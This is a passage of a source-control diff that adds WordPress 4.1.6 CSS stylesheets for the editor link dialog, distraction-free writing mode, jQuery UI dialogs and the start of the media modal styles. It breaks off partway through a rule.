+	border: 1px #dfdfdf solid;
+	margin: 0;
+	background: #fff;
+	overflow: auto;
+	position: absolute;
+	left: 16px;
+	right: 16px;
+	bottom: 16px;
+	top: 205px;
+}
+
+#wp-link li {
+	clear: both;
+	margin-bottom: 0;
+	border-bottom: 1px solid #f1f1f1;
+	color: #333;
+	padding: 4px 6px 4px 10px;
+	cursor: pointer;
+	position: relative;
+}
+
+#wp-link .query-notice {
+	padding: 0;
+	border-bottom: 1px solid #dfdfdf;
+	background-color: #f7fcfe;
+	color: #000;
+}
+
+#wp-link .query-notice .query-notice-default,
+#wp-link .query-notice .query-notice-hint {
+	display: block;
+	padding: 6px;
+	border-left: 4px solid #2ea2cc;
+}
+
+#wp-link .unselectable.no-matches-found {
+	padding: 0;
+	border-bottom: 1px solid #dfdfdf;
+	background-color: #fef7f1;
+}
+
+#wp-link .no-matches-found .item-title {
+	display: block;
+	padding: 6px;
+	border-left: 4px solid #d54e21;
+}
+
+#wp-link .query-results em {
+	font-style: normal;
+}
+
+#wp-link li:hover {
+	background: #eaf2fa;
+	color: #151515;
+}
+
+#wp-link li.unselectable {
+	border-bottom: 1px solid #dfdfdf;
+}
+
+#wp-link li.unselectable:hover {
+	background: #fff;
+	cursor: auto;
+	color: #333;
+}
+
+#wp-link li.selected {
+	background: #ddd;
+	color: #333;
+}
+
+#wp-link li.selected .item-title {
+	font-weight: bold;
+}
+
+#wp-link li:last-child {
+	border: none;
+}
+
+#wp-link .item-title {
+	display: inline-block;
+	width: 80%;
+	width: -webkit-calc(100% - 68px);
+	width: calc(100% - 68px);
+}
+
+#wp-link .item-info {
+	text-transform: uppercase;
+	color: #666;
+	font-size: 11px;
+	position: absolute;
+	right: 5px;
+	top: 5px;
+}
+
+#wp-link #search-results,
+#wp-link #search-panel {
+	display: none;
+}
+
+#wp-link-wrap.search-panel-visible #search-panel {
+	display: block;
+}
+
+#wp-link .river-waiting {
+	display: none;
+	padding: 10px 0;
+}
+
+#wp-link .river-waiting .spinner {
+	margin: 0 auto;
+	display: block;
+	float: none;
+}
+
+#wp-link .submitbox {
+	padding: 8px 16px;
+	background: #fcfcfc;
+	border-top: 1px solid #dfdfdf;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+}
+
+#wp-link-cancel {
+	line-height: 25px;
+	float: left;
+}
+
+#wp-link-update {
+	line-height: 23px;
+	float: right;
+}
+
+#wp-link-submit {
+	float: right;
+	margin-bottom: 0;
+}
+
+@media screen and ( max-width: 782px ) {
+	#wp-link-wrap {
+		height: 280px;
+		margin-top: -140px;
+	}
+
+	#wp-link-wrap.search-panel-visible .query-results {
+		top: 235px;
+	}
+
+	#link-selector {
+		padding: 0 16px 60px;
+	}
+
+	#wp-link-wrap.search-panel-visible #link-selector {
+		bottom: 52px;
+	}
+
+	#wp-link-cancel {
+		line-height: 32px;
+	}
+}
+
+@media screen and ( max-width: 520px ) {
+	#wp-link-wrap {
+		width: auto;
+		margin-left: 0;
+		left: 10px;
+		right: 10px;
+		max-width: 500px;
+	}
+}
+
+@media screen and ( max-height: 520px ) {
+	#wp-link-wrap {
+		-webkit-transition: none;
+		transition: none;
+	}
+
+	#wp-link-wrap.search-panel-visible {
+		height: auto;
+		margin-top: 0;
+		top: 10px;
+		bottom: 10px;
+	}
+
+	.search-panel-visible #link-selector {
+		overflow: auto;
+	}
+
+	.search-panel-visible #search-panel .query-results {
+		position: static;
+	}
+}
+
+@media screen and ( max-height: 290px ) {
+	#wp-link-wrap {
+		height: auto;
+		margin-top: 0;
+		top: 10px;
+		bottom: 10px;
+	}
+
+	#link-selector {
+		overflow: auto;
+		height: -webkit-calc(100% - 92px);
+		height: calc(100% - 92px);
+		padding-bottom: 2px;
+	}
+
+	#search-panel .query-results {
+		position: static;
+	}
+}
+
+/* Old TinyMCE 3.x modal */
+/*
+.clearlooks2 .mceTop {
+	border-bottom: 1px solid #ccc;
+}
+
+.clearlooks2 .mceTop span {
+	font: 13px/24px "Open Sans", sans-serif;
+	color: #e5e5e5;
+}
+
+.clearlooks2 .mceTop .mceLeft {
+	background: #444444;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceTop .mceRight {
+	background: #444444;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceMiddle {
+	clip: rect(24px auto auto auto);
+}
+
+.clearlooks2 .mceMiddle .mceLeft {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceMiddle .mceRight {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceBottom {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceBottom .mceLeft {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceBottom .mceCenter {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceBottom .mceRight {
+	background: #f1f1f1;
+	border-color: transparent;
+}
+
+.clearlooks2 .mceClose,
+.clearlooks2 .mceFocus .mceClose,
+.clearlooks2 .mceFocus .mceClose:hover {
+	background-image: none;
+}
+.clearlooks2 .mceClose:before {
+	content: '\f158';
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	color: #999;
+	padding-left: 12px;
+}
+
+/* from colors.css
+.clearlooks2 {
+	box-shadow: 0 5px 15px rgba(0,0,0,0.7);
+}
+
+.clearlooks2 .mceMiddle span,
+.clearlooks2 .mceMiddle .mceLeft,
+.clearlooks2 .mceMiddle .mceRight,
+.clearlooks2 .mceBottom,
+.clearlooks2 .mceBottom .mceLeft,
+.clearlooks2 .mceBottom .mceCenter,
+.clearlooks2 .mceBottom .mceRight {
+	background-color: #fcfcfc;
+}
+
+.clearlooks2 .mceTop span,
+.clearlooks2 .mceFocus .mceTop span {
+	color: #222;
+}
+
+.clearlooks2 .mceClose:before {
+	color: #999;
+}
+
+.clearlooks2 .mceClose:hover:before {
+	color: #2ea2cc;
+}
+*/
+/* Distraction-Free Writing mode
+ * =Overlay Styles
+-------------------------------------------------------------- */
+.fullscreen-overlay {
+	z-index: 100005;
+	display: none;
+	position: fixed;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	-webkit-filter: inherit;
+	filter: inherit;
+}
+
+.wp-fullscreen-active .fullscreen-overlay,
+.wp-fullscreen-active #wp-fullscreen-body {
+	display: block;
+}
+
+.fullscreen-fader {
+	z-index: 200000;
+}
+
+.wp-fullscreen-active .fullscreen-fader,
+.wp-core-ui.wp-fullscreen-active .postbox-container {
+	display: none;
+}
+
+/* =Overlay Body
+-------------------------------------------------------------- */
+
+#wp-fullscreen-body,
+.mce-fullscreen {
+	z-index: 100010;
+}
+
+#wp-fullscreen-body {
+	display: none;
+}
+
+.wp-fullscreen-wrap {
+	margin: 0;
+	padding: 0;
+	position: absolute;
+	left: 0;
+	right: 0;
+	bottom: 30px;
+	top: 60px;
+	z-index: 100015;
+}
+
+.wp-fullscreen-wrap .wp-editor-container,
+.wp-fullscreen-title,
+#wp-fullscreen-central-toolbar {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	max-width: 100%;
+}
+
+.wp-fullscreen-active .wp-editor-tools,
+.wp-fullscreen-active .quicktags-toolbar,
+.wp-fullscreen-active .mce-toolbar-grp,
+.wp-fullscreen-active .mce-statusbar {
+	display: none;
+}
+
+#wp-fullscreen-statusbar {
+	position: fixed;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	height: 30px;
+	z-index: 100020;
+	background: #fff;
+	-webkit-transition: height 0.2s;
+	transition: height 0.2s;
+}
+
+#wp-fullscreen-status {
+	margin: 0 auto;
+	padding: 0;
+}
+
+.wp-fullscreen-active .wp-fullscreen-title,
+.wp-fullscreen-active .wp-fullscreen-title:focus,
+.wp-fullscreen-active .wp-editor-container {
+	-webkit-border-radius: 0;
+	border-radius: 0;
+	border: 1px dashed transparent;
+	background: transparent;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	-webkit-transition: border-color 0.4s;
+	transition: border-color 0.4s;
+}
+
+.wp-fullscreen-active .wp-editor-container {
+	margin: 0 auto 40px;
+}
+
+.wp-fullscreen-active .wp-fullscreen-title {
+	font-size: 1.7em;
+	line-height: 100%;
+	outline: medium none;
+	padding: 3px 7px;
+	margin: 10px auto 30px;
+	display: block;
+}
+
+#wp-fullscreen-tagline {
+	color: #888;
+	font-size: 18px;
+	float: right;
+	padding: 4px 0 0;
+}
+
+/* =Top bar
+-------------------------------------------------------------- */
+#fullscreen-topbar {
+	background: #f5f5f5;
+	border-bottom: 1px solid #dedede;
+	height: 45px;
+	position: fixed;
+	left: 0;
+	right: 0;
+	top: 0;
+	width: 100%;
+	z-index: 100020;
+	-webkit-transition: opacity 0.4s;
+	transition: opacity 0.4s;
+}
+
+#wp-fullscreen-toolbar {
+	padding: 6px 10px 0;
+	clear: both;
+	max-width: 1100px;
+	margin: 0 auto;
+}
+
+#wp-fullscreen-mode-bar,
+#wp-fullscreen-button-bar,
+#wp-fullscreen-close {
+	float: left;
+}
+
+#wp-fullscreen-count,
+#wp-fullscreen-tagline {
+	display: inline-block;
+}
+
+#wp-fullscreen-button-bar {
+	margin-top: 2px;
+}
+
+#wp-fullscreen-save {
+	float: right;
+	padding: 2px 0 0;
+	min-width: 95px;
+}
+
+#wp-fullscreen-count,
+#wp-fullscreen-close {
+	padding: 5px 0 0;
+}
+
+#wp-fullscreen-central-toolbar {
+	margin: auto;
+	padding: 0;
+	min-width: 620px;
+}
+
+#wp-fullscreen-buttons > div {
+	float: left;
+}
+
+#wp-fullscreen-mode-bar {
+	padding: 3px 14px 0 0;
+}
+
+#wp-fullscreen-buttons .hidden {
+	display: none;
+}
+
+#wp-fullscreen-buttons .disabled {
+	opacity: 0.5;
+}
+
+#wp-fullscreen-buttons .mce-btn button {
+    margin: 0;
+    outline: 0 none;
+    border: 0 none;
+    white-space: nowrap;
+    width: auto;
+    background: none;
+	color: #333333;
+    cursor: pointer;
+    font-size: 18px;
+    line-height: 20px;
+    overflow: visible;
+    text-align: center;
+    -webkit-box-sizing: border-box;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+}
+
+.wp-html-mode #wp-fullscreen-buttons div {
+	display: none;
+}
+
+.wp-html-mode #wp-fullscreen-buttons div.wp-fullscreen-both {
+	display: block;
+}
+
+#wp-fullscreen-save img {
+	vertical-align: middle;
+}
+
+#wp-fullscreen-save span {
+	display: none;
+	margin: 5px 6px 0;
+	float: left;
+}
+
+/* =Thickbox Adjustments
+-------------------------------------------------------------- */
+.wp-fullscreen-active #TB_overlay {
+	z-index: 100050;
+}
+
+.wp-fullscreen-active #TB_window {
+	z-index: 100051;
+}
+
+/* Colors */
+.fullscreen-overlay {
+	background: #fff;
+}
+
+/* =CSS 3 transitions
+-------------------------------------------------------------- */
+
+.wp-fullscreen-active #fullscreen-topbar {
+	-webkit-transition-duration: 0.8s;
+	transition-duration: 0.8s;
+	opacity: 0;
+	filter: alpha(opacity=0);
+}
+
+.wp-fullscreen-active #wp-fullscreen-statusbar {
+	height: 0;
+}
+
+.wp-fullscreen-active.wp-dfw-show-ui #fullscreen-topbar {
+	-webkit-transition-duration: 0.4s;
+	transition-duration: 0.4s;
+	opacity: 1;
+	filter: alpha(opacity=100);
+}
+
+.wp-fullscreen-active.wp-dfw-show-ui #wp-fullscreen-statusbar {
+	height: 29px;
+	background: #f8f8f8;
+	border-top: 1px solid #eee;
+}
+
+.wp-fullscreen-active .wp-fullscreen-title,
+.wp-fullscreen-active .wp-editor-container {
+	-webkit-transition-duration: 0.8s;
+	transition-duration: 0.8s;
+	border-color: transparent;
+}
+
+.wp-fullscreen-active.wp-dfw-show-ui .wp-fullscreen-title,
+.wp-fullscreen-active.wp-dfw-show-ui .wp-editor-container {
+	-webkit-transition-duration: 0.4s;
+	transition-duration: 0.4s;
+	border-color: #ccc;
+}
+
+.fade-1000,
+.fade-600,
+.fade-400,
+.fade-300 {
+	opacity: 0;
+	-webkit-transition-property: opacity;
+	transition-property: opacity;
+}
+
+.fade-1000 {
+	-webkit-transition-duration: 1s;
+	transition-duration: 1s;
+}
+
+.fade-600 {
+	-webkit-transition-duration: 0.6s;
+	transition-duration: 0.6s;
+}
+
+.fade-400 {
+	-webkit-transition-duration: 0.4s;
+	transition-duration: 0.4s;
+}
+
+.fade-300 {
+	-webkit-transition-duration: 0.3s;
+	transition-duration: 0.3s;
+}
+
+.fade-trigger {
+	opacity: 1;
+}
+
+/* DFW on touch screen devices */
+.wp-dfw-touch #fullscreen-topbar {
+	position: absolute;
+	opacity: 1;
+}
+
+.wp-dfw-touch .wp-fullscreen-wrap .wp-editor-container,
+.wp-dfw-touch .wp-fullscreen-title {
+	max-width: 700px;
+}
+
+.wp-fullscreen-active.wp-dfw-touch  .wp-fullscreen-title,
+.wp-fullscreen-active.wp-dfw-touch .wp-editor-container {
+	border-color: #ccc;
+}
+
+.wp-dfw-touch #wp-fullscreen-statusbar {
+	height: 30px;
+}
+
+@media screen and ( max-width: 782px ) {
+	#wp-fullscreen-close,
+	#wp-fullscreen-central-toolbar,
+	#wp-fullscreen-mode-bar,
+	#wp-fullscreen-button-bar,
+	#wp-fullscreen-save {
+		display: inline-block;
+	}
+
+	#fullscreen-topbar {
+		height: 85px;
+	}
+
+	#wp-fullscreen-central-toolbar {
+		width: auto !important;
+		min-width: 0;
+	}
+
+	#wp-fullscreen-close {
+		line-height: 30px;
+		vertical-align: top;
+		padding: 0 12px;
+	}
+
+	#wp-fullscreen-button-bar {
+		position: absolute;
+		top: 45px;
+		left: 0;
+	}
+
+	.wp-fullscreen-wrap {
+		top: 95px;
+	}
+
+	#wp-fullscreen-save {
+		position: absolute;
+		right: 10px;
+	}
+}
+
+@media screen and ( max-width: 480px ) {
+	#wp_fs_help {
+		display: none;
+	}
+
+	.wp-fullscreen-wrap .wp-editor-container,
+	.wp-fullscreen-title {
+		width: 480px !important;
+	}
+
+	body.wp-fullscreen-active {
+		width: 480px;
+		overflow: auto;
+	}
+
+	#fullscreen-topbar,
+	.wp-fullscreen-wrap {
+		width: 480px;
+	}
+
+	#fullscreen-topbar {
+		position: absolute;
+	}
+
+	#wp-fullscreen-status {
+		width: auto !important;
+		max-width: 100%;
+		padding: 0 10px;
+	}
+}
+
+/* =Localization
+-------------------------------------------------------------- */
+.rtl .wp-switch-editor,
+.rtl .quicktags-toolbar input {
+	font-family: Tahoma, sans-serif;
+}
+
+/* @noflip */
+.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
+	direction: rtl;
+}
+
+/* @noflip */
+.mce-rtl .mce-listbox i.mce-caret {
+	left: 6px;
+}
+
+html:lang(he-il) .rtl .wp-switch-editor,
+html:lang(he-il) .rtl .quicktags-toolbar input  {
+ 	font-family: Arial, sans-serif;
+}
+
+/* HiDPI */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.wp-media-buttons .add_media span.wp-media-buttons-icon,
+	#wp-fullscreen-buttons #wp_fs_image span.mce_image {
+		background: none;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/css/jquery-ui-dialog.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/jquery-ui-dialog.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/jquery-ui-dialog.css	(revision 33402)
@@ -0,0 +1,362 @@
+/*!
+ * jQuery UI CSS Framework 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/theming/
+ */
+
+/* Layout helpers
+----------------------------------*/
+.ui-helper-hidden {
+	display: none;
+}
+.ui-helper-hidden-accessible {
+	border: 0;
+	clip: rect(0 0 0 0);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+}
+.ui-helper-reset {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	outline: 0;
+	line-height: 1.3;
+	text-decoration: none;
+	font-size: 100%;
+	list-style: none;
+}
+.ui-helper-clearfix:before,
+.ui-helper-clearfix:after {
+	content: "";
+	display: table;
+	border-collapse: collapse;
+}
+.ui-helper-clearfix:after {
+	clear: both;
+}
+.ui-helper-clearfix {
+	min-height: 0; /* support: IE7 */
+}
+.ui-helper-zfix {
+	width: 100%;
+	height: 100%;
+	top: 0;
+	left: 0;
+	position: absolute;
+	opacity: 0;
+	filter:Alpha(Opacity=0); /* support: IE8 */
+}
+
+.ui-front {
+	z-index: 100;
+}
+
+
+/* Interaction Cues
+----------------------------------*/
+.ui-state-disabled {
+	cursor: default !important;
+}
+
+
+/* Icons
+----------------------------------*/
+
+/* states and images */
+.ui-icon {
+	display: block;
+	text-indent: -99999px;
+	overflow: hidden;
+	background-repeat: no-repeat;
+}
+
+
+/* Misc visuals
+----------------------------------*/
+
+/* Overlays */
+.ui-widget-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+}
+
+/*!
+ * jQuery UI Resizable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-resizable {
+	position: relative;
+}
+.ui-resizable-handle {
+	position: absolute;
+	font-size: 0.1px;
+	display: block;
+	-ms-touch-action: none;
+	touch-action: none;
+}
+.ui-resizable-disabled .ui-resizable-handle,
+.ui-resizable-autohide .ui-resizable-handle {
+	display: none;
+}
+.ui-resizable-n {
+	cursor: n-resize;
+	height: 7px;
+	width: 100%;
+	top: -5px;
+	left: 0;
+}
+.ui-resizable-s {
+	cursor: s-resize;
+	height: 7px;
+	width: 100%;
+	bottom: -5px;
+	left: 0;
+}
+/* @noflip */
+.ui-resizable-e {
+	cursor: e-resize;
+	width: 7px;
+	right: -5px;
+	top: 0;
+	height: 100%;
+}
+/* @noflip */
+.ui-resizable-w {
+	cursor: w-resize;
+	width: 7px;
+	left: -5px;
+	top: 0;
+	height: 100%;
+}
+/* @noflip */
+.ui-resizable-se {
+	cursor: se-resize;
+	width: 12px;
+	height: 12px;
+	right: 1px;
+	bottom: 1px;
+}
+/* @noflip */
+.ui-resizable-sw {
+	cursor: sw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	bottom: -5px;
+}
+/* @noflip */
+.ui-resizable-nw {
+	cursor: nw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	top: -5px;
+}
+/* @noflip */
+.ui-resizable-ne {
+	cursor: ne-resize;
+	width: 9px;
+	height: 9px;
+	right: -5px;
+	top: -5px;
+}
+
+/* WP buttons: see buttons.css. */
+
+.ui-button {
+	display: inline-block;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0 10px 1px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-webkit-appearance: none;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	white-space: nowrap;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	color: #555;
+	border-color: #cccccc;
+	background: #f7f7f7;
+	-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 );
+	vertical-align: top;
+}
+
+.ui-button:active,
+.ui-button:focus {
+	outline: none;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.ui-button::-moz-focus-inner {
+	border-width: 1px 0;
+	border-style: solid none;
+	border-color: transparent;
+	padding: 0;
+}
+
+.ui-button:hover,
+.ui-button:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #222;
+}
+
+.ui-button:focus {
+	-webkit-box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba( 30, 140, 190, 0.8 );
+}
+
+.ui-button:active {
+	background: #eee;
+	border-color: #999;
+	color: #333;
+	-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+}
+
+.ui-button[disabled],
+.ui-button:disabled {
+	color: #aaa !important;
+	border-color: #ddd !important;
+	background: #f7f7f7 !important;
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+	text-shadow: 0 1px 0 #fff !important;
+	cursor: default;
+}
+
+@media screen and ( max-width: 782px ) {
+
+	.ui-button {
+		padding: 10px 14px;
+		line-height: 1;
+		font-size: 14px;
+		vertical-align: middle;
+		height: auto;
+		margin-bottom: 4px;
+	}
+
+}
+
+/* WP Theme */
+
+.ui-dialog {
+	position: absolute;
+	top: 0;
+	left: 0;
+	z-index: 100102;
+	background-color: #fff;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+.ui-dialog-titlebar {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	padding: 0 36px 0 16px;
+}
+
+.ui-button.ui-dialog-titlebar-close {
+	background: none;
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #666;
+	cursor: pointer;
+	display: block;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	text-align: center;
+}
+
+.ui-dialog-titlebar-close:before {
+	font: normal 20px/1 'dashicons';
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	line-height: 36px;
+	width: 36px;
+	height: 36px;
+	content: '\f158';
+}
+
+.ui-button.ui-dialog-titlebar-close:hover {
+	color: #2ea2cc;
+}
+
+.ui-dialog-titlebar-close .ui-button-text {
+	display: none;
+}
+
+.ui-dialog-content {
+	padding: 16px;
+	overflow: auto;
+}
+
+.ui-dialog-buttonpane {
+	background: #fcfcfc;
+	border-top: 1px solid #dfdfdf;
+	padding: 16px;
+}
+
+.ui-dialog-buttonpane .ui-button {
+	margin-left: 16px;
+}
+
+.ui-dialog-buttonpane .ui-dialog-buttonset {
+	float: right;
+}
+
+.ui-draggable .ui-dialog-titlebar {
+	cursor: move;
+}
+
+.ui-widget-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100101;
+}
Index: /tags/4.1.6/src/wp-includes/css/media-views.css
===================================================================
--- /tags/4.1.6/src/wp-includes/css/media-views.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/css/media-views.css	(revision 33402)
@@ -0,0 +1,2555 @@
+/**
+ * Base Styles
+ */
+.media-modal * {
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+}
+
+.media-frame input,
+.media-frame select,
+.media-frame textarea {
+    -webkit-box-sizing: border-box;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+}
+
+.media-modal,
+.media-frame {
+	font-family: "Open Sans", sans-serif;
+	font-size: 12px;
+}
+
+.media-frame input,
+.media-frame textarea {
+	padding: 6px 8px;
+}
+
+.media-frame select,
+.wp-admin .media-frame select {
+	line-height: 28px;
+	margin-top: 3px;
+}
+
+.media-frame a {
+	border-bottom: none;
+	color: #21759b;
+}
+
+.media-frame a:hover {
+	color: #d54e21;
+}
+
+.media-frame a.button {
+	color: #333;
+}
+
+.media-frame a.button:hover {
+	color: #222;
+}
+
+.media-frame a.button-primary,
+.media-frame a.button-primary:hover {
+	color: #fff;
+}
+
+.media-frame input[type="text"],
+.media-frame input[type="password"],
+.media-frame input[type="number"],
+.media-frame input[type="search"],
+.media-frame input[type="email"],
+.media-frame input[type="url"],
+.media-frame textarea,
+.media-frame select {
+	font-family: "Open Sans", sans-serif;
+	font-size: 12px;
+	border-width: 1px;
+	border-style: solid;
+	border-color: #dfdfdf;
+}
+
+.media-frame input[type="text"]:focus,
+.media-frame input[type="password"]:focus,
+.media-frame input[type="number"]:focus,
+.media-frame input[type="search"]:focus,
+.media-frame input[type="email"]:focus,
+.media-frame input[type="url"]:focus,
+.media-frame textarea:focus,
+.media-frame select:focus {
+	border-color: #5b9dd9;
+}
+
+.media-frame select {
+	height: 24px;
+	padding: 2px;
+}
+
+.media-frame input:disabled,
+.media-frame textarea:disabled,
+.media-frame input[readonly],
+.media-frame textarea[readonly] {
+	background-color: #eee;
+}
+
+.media-frame input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+.media-frame :-moz-placeholder {
+   color: #a9a9a9;
+}
+
+.media-frame .hidden {
+	display: none;
+}
+
+/*!
+ * jQuery UI Draggable/Sortable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-draggable-handle,
+.ui-sortable-handle {
+	-ms-touch-action: none;
+	touch-action:     none;
+}
+
+/**
+ * Modal
+ */
+.media-modal {
+	position: fixed;
+	top: 30px;
+	left: 30px;
+	right: 30px;
+	bottom: 30px;
+	z-index: 160000;
+}
+
+.wp-customizer .media-modal {
+	z-index: 560000;
+}
+
+.media-modal-backdrop {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	z-index: 159900;
+}
+
+.wp-customizer .media-modal-backdrop {
+	z-index: 559900;
+}
+
+.media-modal-close {
+	position: absolute;
+	text-decoration: none;
+	top: 10px;
+	right: 10px;
+	width: 30px;
+	height: 30px;
+	z-index: 1000;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.media-modal-close:active {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.media-modal-close span.media-modal-icon {
+	display: block;
+	margin-top: 5px;
+	width: 30px;
+	height: 15px;
+	background-image: none;
+	text-align: center;
+}
+
+.media-modal-close .media-modal-icon:before {
+	content: '\f158';
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	vertical-align: middle;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	color: #666;
+}
+
+.media-modal-close:hover .media-modal-icon:before {
+	color: #2ea2cc;
+}
+
+.media-modal-close:active {
+	outline: 0;
+}
+
+.media-modal-content {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	overflow: auto;
+	min-height: 300px;
+	-webkit-box-shadow: 0 5px 15px rgba(0,0,0,0.7);
+	box-shadow: 0 5px 15px rgba(0,0,0,0.7);
+	background: #fcfcfc;
+	-webkit-font-smoothing: subpixel-antialiased;
+}
+
+.media-modal-icon {
+	background-image: url(../images/uploader-icons.png);
+	background-repeat: no-repeat;
+}
+
+/**
+ * Toolbar
+ */
+.media-toolbar {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	z-index: 100;
+	height: 60px;
+	padding: 0 16px;
+	border: 0 solid #dfdfdf;
+	overflow: hidden;
+}
+
+.media-toolbar-primary {
+	float: right;
+	height: 100%;
+	max-width: 33%;
+}
+
+.media-toolbar-secondary {
+	float: left;
+	height: 100%;
+	max-width: 66%;
+}
+
+.media-toolbar-primary > .media-button,
+.media-toolbar-primary > .media-button-group {
+	margin-left: 10px;
+	float: left;
+	margin-top: 15px;
+}
+
+.media-toolbar-secondary > .media-button,
+.media-toolbar-secondary > .media-button-group {
+	margin-right: 10px;
+	margin-top: 15px;
+}
+
+/**
+ * Sidebar
+ */
+.media-sidebar {
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 267px;
+	padding: 0 16px 24px;
+	z-index: 75;
+	background: #f3f3f3;
+	border-left: 1px solid #ddd;
+	overflow: auto;
+	-webkit-overflow-scrolling: touch;
+}
+
+.hide-toolbar .media-sidebar {
+	bottom: 0;
+}
+
+.media-sidebar .sidebar-title {
+	font-size: 20px;
+	margin: 0;
+	padding: 12px 10px 10px;
+	line-height: 28px;
+}
+
+.media-sidebar .sidebar-content {
+	padding: 0 10px;
+	margin-bottom: 130px;
+}
+
+.media-sidebar .search {
+	display: block;
+	width: 100%;
+}
+
+.media-sidebar h3,
+.image-details h3 {
+	position: relative;
+	font-weight: bold;
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 24px 0 8px;
+}
+
+.media-sidebar .setting,
+.attachment-details .setting {
+	display: block;
+	float: left;
+	width: 100%;
+	margin: 1px 0;
+}
+
+.media-sidebar .setting label,
+.attachment-details .setting label {
+	display: block;
+}
+
+.media-sidebar .setting .link-to-custom,
+.attachment-details .setting .link-to-custom {
+	margin: 3px 2px 0;
+}
+
+.media-sidebar .setting span,
+.attachment-details .setting span {
+	min-width: 30%;
+	margin-right: 4%;
+	font-size: 12px;
+	text-align: right;
+	word-wrap: break-word;
+}
+
+.media-sidebar .setting .name {
+	max-width: 80px;
+}
+
+.media-sidebar .setting select,
+.attachment-details .setting select {
+	max-width: 65%;
+}
+
+.media-sidebar .setting input[type="checkbox"],
+.media-sidebar .field input[type="checkbox"],
+.media-sidebar .setting input[type="radio"],
+.media-sidebar .field input[type="radio"],
+.attachment-details .setting input[type="checkbox"],
+.attachment-details .field input[type="checkbox"],
